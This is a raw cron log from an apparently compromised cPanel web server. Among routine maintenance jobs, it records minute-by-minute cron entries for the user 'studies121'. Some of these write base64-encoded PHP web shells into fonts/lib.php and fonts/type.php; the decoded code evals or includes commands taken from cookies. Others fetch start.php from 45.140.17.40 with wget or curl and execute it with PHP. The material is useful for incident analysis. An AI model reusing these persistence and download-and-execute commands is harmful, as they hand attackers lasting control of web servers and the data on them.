Sep 12 23:51:01 ip-184-168-122-23 CROND[12618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:52:02 ip-184-168-122-23 CROND[12700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:52:02 ip-184-168-122-23 CROND[12701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:52:02 ip-184-168-122-23 CROND[12702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:52:02 ip-184-168-122-23 CROND[12706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:52:02 ip-184-168-122-23 CROND[12705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:53:01 ip-184-168-122-23 CROND[12796]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 12 23:53:01 ip-184-168-122-23 CROND[12797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:53:01 ip-184-168-122-23 CROND[12798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:53:01 ip-184-168-122-23 CROND[12799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:53:01 ip-184-168-122-23 CROND[12804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:54:01 ip-184-168-122-23 CROND[12985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:54:01 ip-184-168-122-23 CROND[12987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:54:01 ip-184-168-122-23 CROND[12989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:54:01 ip-184-168-122-23 CROND[12988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:54:01 ip-184-168-122-23 CROND[12990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:55:01 ip-184-168-122-23 CROND[13074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:55:01 ip-184-168-122-23 CROND[13079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:55:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:55:01 ip-184-168-122-23 CROND[13080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:55:01 ip-184-168-122-23 CROND[13077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:55:01 ip-184-168-122-23 CROND[13078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:56:01 ip-184-168-122-23 CROND[13168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:56:01 ip-184-168-122-23 CROND[13171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:56:01 ip-184-168-122-23 CROND[13172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:56:01 ip-184-168-122-23 CROND[13170]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:56:01 ip-184-168-122-23 CROND[13173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:57:01 ip-184-168-122-23 CROND[13267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:57:01 ip-184-168-122-23 CROND[13269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:57:01 ip-184-168-122-23 CROND[13271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:57:01 ip-184-168-122-23 CROND[13270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:58:01 ip-184-168-122-23 CROND[13353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:58:01 ip-184-168-122-23 CROND[13357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:58:01 ip-184-168-122-23 CROND[13355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:58:01 ip-184-168-122-23 CROND[13358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:58:01 ip-184-168-122-23 CROND[13356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:59:01 ip-184-168-122-23 CROND[13517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:59:01 ip-184-168-122-23 CROND[13519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:59:01 ip-184-168-122-23 CROND[13520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:59:01 ip-184-168-122-23 CROND[13521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:00:01 ip-184-168-122-23 CROND[13604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:00:01 ip-184-168-122-23 CROND[13605]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:00:01 ip-184-168-122-23 CROND[13606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:00:01 ip-184-168-122-23 CROND[13611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:00:01 ip-184-168-122-23 CROND[13610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:00:01 ip-184-168-122-23 CROND[13608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:00:01 ip-184-168-122-23 CROND[13613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:00:01 ip-184-168-122-23 CROND[13609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:00:01 ip-184-168-122-23 CROND[13612]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 13 00:01:01 ip-184-168-122-23 CROND[13730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:01:01 ip-184-168-122-23 CROND[13732]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 00:01:01 ip-184-168-122-23 CROND[13733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:01:01 ip-184-168-122-23 CROND[13735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:01:01 ip-184-168-122-23 CROND[13736]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:01:01 ip-184-168-122-23 CROND[13737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13732]: starting 0anacron
Sep 13 00:01:01 ip-184-168-122-23 anacron[13750]: Anacron started on 2026-09-13
Sep 13 00:01:01 ip-184-168-122-23 anacron[13750]: Normal exit (0 jobs run)
Sep 13 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13752]: finished 0anacron
Sep 13 00:02:01 ip-184-168-122-23 CROND[13849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:02:01 ip-184-168-122-23 CROND[13850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:02:01 ip-184-168-122-23 CROND[13853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:02:01 ip-184-168-122-23 CROND[13854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:02:01 ip-184-168-122-23 CROND[13855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:03:01 ip-184-168-122-23 CROND[13971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:03:01 ip-184-168-122-23 CROND[13972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
